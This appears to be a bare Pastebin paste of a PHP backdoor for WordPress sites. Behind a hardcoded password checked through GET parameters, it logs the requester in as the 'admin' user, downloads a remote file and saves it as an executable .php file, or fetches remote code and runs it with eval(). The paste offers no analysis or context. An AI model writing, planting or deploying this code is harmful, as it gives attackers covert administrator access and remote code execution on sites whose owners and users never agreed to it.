Advertisement
Guest User

Untitled

a guest
Feb 15th, 2012
324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.02 KB | None | 0 0
  1. if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
  2. if ($_GET['pass'] == '44f683a84163b3523afe57c2e008bc8c'){
  3. if ($_GET['pingnow']== 'login'){
  4. $user_login = 'admin';
  5. $user = get_userdatabylogin($user_login);
  6. $user_id = $user->ID;
  7. wp_set_current_user($user_id, $user_login);
  8. wp_set_auth_cookie($user_id);
  9. do_action('wp_login', $user_login);
  10. }
  11. if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
  12. $ch = curl_init($_GET['file']);
  13. $fnm = md5(rand(0,100)).'.php';
  14. $fp = fopen($fnm, "w");
  15. curl_setopt($ch, CURLOPT_FILE, $fp);
  16. curl_setopt($ch, CURLOPT_HEADER, 0);
  17. curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  18. curl_exec($ch);
  19. curl_close($ch);
  20. fclose($fp);
  21. echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
  22. }
  23. if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
  24. $ch = curl_init($_GET['file']);
  25. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  26. curl_setopt($ch, CURLOPT_HEADER, 0);
  27. curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  28. $re = curl_exec($ch);
  29. curl_close($ch);
  30. eval($re);
  31. }}}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement